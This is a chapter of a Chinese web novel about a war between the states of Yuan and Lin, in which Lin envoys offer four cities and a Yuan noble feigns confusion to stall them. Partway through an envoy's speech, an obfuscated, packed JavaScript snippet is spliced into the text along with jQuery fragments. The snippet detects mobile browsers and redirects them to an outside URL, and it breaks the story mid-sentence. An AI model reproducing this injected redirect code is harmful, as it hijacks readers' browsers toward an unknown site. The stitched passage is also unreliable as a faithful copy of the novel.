229.我不明白

作品:《她都不会修仙,怎么是成仙第一人

    明亮的大堂内。


    众人不知不觉再度商议起来,直到最后的梦霜浮停下了话语、转而看向主位上的少女,众人这才如大梦初醒般,吓出了一身冷汗。


    他们齐齐朝向主位,弯腰低头,战战兢兢闭嘴。


    江景鸢顿了顿,开口说道:“破坏霖国全境屏障。”


    众人瞬间正色,应了声“是”。


    不管后续该如何布局进攻,他们都必须时刻阻止霖国建立起新的全境屏障。


    正是因为渊国有全境屏障的存在,江景鸢才会知道这东西有多难办。


    虽说霖国的全境屏障比不上渊国的多样,但也是个难以攻克的、几乎无懈可击的玩意儿——要么等,要么硬拼。


    硬拼就是两败俱伤,让他国坐享其成。


    等……明明可以避免,却没有避免。那时,先落下的,不知是谁的脑袋。


    “淮王留下决策。”


    江景鸢说了一句,在众人愣怔着还未反应过来的时候,轻飘飘起身往外走——


    她要回去补觉。


    …………


    霖国。


    各座城池中,烈火如巨浪翻涌,卷过一片又一片街道房屋。


    尖叫、咒骂炸响,乒乒乓乓中,烧杀抢掠刹那间四起。


    “混账东西猪狗不如的东西,滚,滚!!”


    “把东西放下!不许拿,不许拿——”


    明明渊国的兵马还未降临,自己内部却是纷纷慌了神。


    无数人卷一卷包袱、甩在肩膀上扛着要跑,路过一家家房屋,又不禁起了心思——


    这年头,符箓、丹药都见不着影儿,法器更是想都不用想。


    不如,去瞧瞧?


    这时候还留在这里没有趁乱逃跑的……


    要么有依仗,去搏一搏也好;要么就是等死,蚊子再小也是肉,他们死了也用不着,倒不如利了别人。


    不约而同,霖国的大伙儿都是这个心思。


    这么多年都是这样过来的,谁还不懂谁呢?


    本想先留下来看看情况的人——


    不想挨打当倒霉鬼,要么也跟着边烧杀抢掠、边逃,要么奋起反坑。


    奋起反抗,一次又一次,一波又一波,心有余而力不足的,总有倒下的时候,苦苦支撑着也撑不下去,卷起包袱沉默着逃跑——


    逃都逃了,别人都在烧杀抢掠,自己难道就傻乎乎地一味逃跑?


    先前自己的损失……怎么也得想方设法补回来吧?


    他们都是老实本分的人,和那些土匪强盗不一样,他们没想多拿,只是想将自己的损失弥补回来而已。


    众人眸光闪烁。


    艳丽的烈火疾速翻涌,一潮又一潮。


    天之下,是鬼哭炼狱,是狂欢盛宴……在其中扭曲挣扎着起舞高歌。


    要疯不疯,要疯不疯。


    …………


    来去的燥热之风逐渐变得清爽,又一点点染上了丝丝寒凉。


    吹不灭战火纷飞。


    刷啦啦——


    无数信纸纷飞,在风中,如飞鸟掠过高空,交替,在烛火中一点点焚烧殆尽。


    呼——


    灰烬焚黑,在潮湿的泥土上洒落。


    一日接一日,一月接一月。


    枯燥,绝望,烦躁。


    远方走来一队衣着精致的人影,在黑红焦土上,他们庄重行礼。


    梦家的众人眯了眯眼,露出得体微笑,向内伸手一示意:


    “使者,请——”


    城中。


    一处府邸宅院。


    渊国北境的众人在这数月内不知多少次再度齐聚一堂。


    主位上坐着江景鸢,侧边是江景谦,堂内一片熟悉人影中,不知何时渐渐多了一个个几乎要在众人记忆中褪色的面容。


    直到这些陌生人影渐渐多得明显,众人才后知后觉地愣住。


    梦旗云不动声色地看了看那几个陌生面孔,转眼,无声喝止住了旁边满脸焦躁的几人。


    他垂下眼眸。


    那又如何?


    梦霜浮是北境的启明星,她才是北境认可的未来……这些凡夫俗子,如何能撼动她的地位?


    连家……还有心思各异的其他氏族、其他人,如何能撼动梦家在北境、在整个渊国的地位?


    心里这样想着,梦旗云眉眼间却也含着一抹凝重。


    梦家的众人也垂眸不语。


    帝渠城里来的人就是麻烦,他们都对她毕恭毕敬,数月战战兢兢,满脑子都在担心一个不小心惹怒了她。


    她这么久了倒是丝毫不信任他们,非要插手北境的事,非要让他们北境内忧外患而好掌控,真是……


    众人心一颤,瞬间本能地生出一股恐慌,没敢再想下去。


    “殿下,我等是否要求霖国割地请和?”


    众人沉默之中,平江侯没有掺和身后众人的纠缠纷扰,意外主动开口问道。


    顿时,梦家众人猛地一抬眼,目光触及那挺拔的背影,又瞬间收回。


    他们小心翼翼地看向一旁的梦霜浮。


    梦霜浮脸上神色自若,嘴边腼腆浅笑依旧。


    ——似乎毫无察觉。


    众人满心愧疚地低下眼眸。


    “不。”


    这时,前方忽然响起那清泠泠的嗓音。


    不……


    不不不,不?


    众人愕然。


    不……是什么意思?


    不要求霖国割地?


    啊?


    众人震惊地抬头看去,那白衣少女神色平静。


    …………


    屋内。


    渊、霖双方众人相对而坐。


    霖国来使脸上笑吟吟,态度温和柔顺。


    渊国这边,要么如江景谦一般嘴边扬着浅浅弧度,要么如平江侯一般肃着脸。


    ——江景鸢不在,江景鸢在自己住处养精蓄锐。


    霖的使者不动声色大量了一圈,那位长生殿下明明在北境,却没有出现,只有淮王和平江侯。


    这倒是……


    相当给脸了。


    不然这初次交锋,哪里用得着让淮王和平江侯亲自来?


    霖的使者们心中思量,这样说来,这些人是有和谈的意思喽?


    想着,一人果断开口,简单客套一番就直入正题:


    “渊、霖两国的交战起因,着实是误会,我霖国上下安居乐业,绝不可能主动挑起战火……”


    江景谦和平江侯没有说话。


    旁边,梦旗云惊异地“哦”了一声,“误会?”


    “绝对是误会!”


    霖国的那人语气坚定中带着些许痛恨之意:


    “我霖国冤啊!两国姻亲,同盟多年,我们怎么会做出如此无耻毁约行径?定然是居心叵测之人的陷害啊!为的就是挑起你我两国相斗,好让他……”


    梦旗云脸上露出专注倾听的神色,闻言,十分认真地问道:


    “是谁陷害的?”


    霖国使臣瞬间话语一噎,顿了一瞬,忙道:“此事我霖国定然会协助渊国查明。”


    而后,他飞快地转开话头,满脸心痛和悲楚:


    “我霖国陛下自是信任渊国才坐怀不乱,未曾想渊国的陛下竟然如此不信任我等,受了他人挑唆就进军我霖国,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968670|160054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    短短数月将我霖国搅得天翻地覆,百姓流离失所,满朝文武心都寒了啊……”


    梦旗云眯了眯眼,一瞬,又是一脸专注认真的模样。


    忽然,霖国使臣话锋一转:


    “我国陛下见不得两国百姓受苦受难,却也知渊国的陛下神智不清、太子殿下受誓言约束所迫,无可奈何,愿割让四座城池送与太子殿下,以维护两国友好。”


    哈?割地?


    渊国众人沉默。


    哪有一上来就割地的,讨价还价都没有,这是何等软弱卑微的姿态。


    活像是恨不得速速把城池送出去,以求敌人不要再打过来了。


    软弱卑微得——


    要让人起了不满足的歹心。


    霖国一众使者哭得稀里哗啦、悲痛欲绝。


    梦旗云又是一脸认真地问道:“你们要割地?”


    “是、是。”霖国使臣悲痛点头。


    梦旗云:“你们要割让多少座城池?”


    霖国众人一顿,心说难道这些人是不满足?但他们还是含泪说道:“四座城池,恭贺渊国的太子殿下荣登大宝。”


    梦旗云让人铺开舆图,问道:“哪四座城池?”


    霖国使臣早有准备,满脸悲痛,只一人颤抖着手指了指四座城池。


    渊国众人盯着他所指的四座城池,就是衔接渊国的四座城池。


    霖使臣们无声落泪。


    就在他们以为渊国的人没有意见之时,梦旗云又开口问道:“你们为什么要割地?”


    霖使臣一顿,心中泛起古怪,心说这人是不是脑子有问题。三两句话,三番五次重复又重复,他就跟没听懂、没记住似的。


    渊国怎么派这样的人来谈判啊?


    这是要后继无人了?


    霖国众人心中不自觉生出轻视之意,但面上还是回答道:“我霖国无力再战,双手奉上四座城池以恭贺太子殿下荣登大宝。”


    “你们为什么无力再战?”梦旗云一脸认真地问道。


    霖国众人:“???”


    不是,这人脑子有问题吧?!


    割地请和、割地请和,你就说同不同意吧,问的这都是什么问题啊?


    他们目光转向了江景谦和平江侯,试图让他们说说话、表个态。


    江景谦和平江侯没有说话。


    梦旗云像是察觉到了他们眼神里的意思,顿时满脸受伤地说道:


    “我只是不明白……”


    不明白,不明白……霖国众人脸上的五官隐隐扭曲。


    这有什么不明白的??


    一人深吸一口气,和颜悦色问道:“你哪里不明白?”


    梦旗云脸上一喜,高高兴兴地问道:“是谁挑唆两国交战的?你们为什么要割地啊?”


    霖国众人深吸一口气,换了措辞,从头到尾,几乎一字一字掰开来讲解给他听。


    良久。


    他们笑容僵硬地问道:“不知诸位大人意下如何?”


    “可是你们为什么要割地啊?”梦旗云满脸纠结地说道,“你们哪里无力再战了?霖国还有好多人啊。”


    霖国众人霎时气得心口剧烈起伏。


    哪里来的傻子!


    到底是这个人脑子有问题,还是他们说的话真的如此令人费解?!


    这些人怎么就听不懂呢?


    霖国一人遏制不住地涨红脸,愤怒得双目好似要喷火,“你们到底……”


    “抱歉抱歉。”梦旗云顿时满脸愧疚地道歉。


    他眉眼间神色慌张,语气满含歉意地说道——


    “抱歉,我只是真的没有听明白你们的意思。”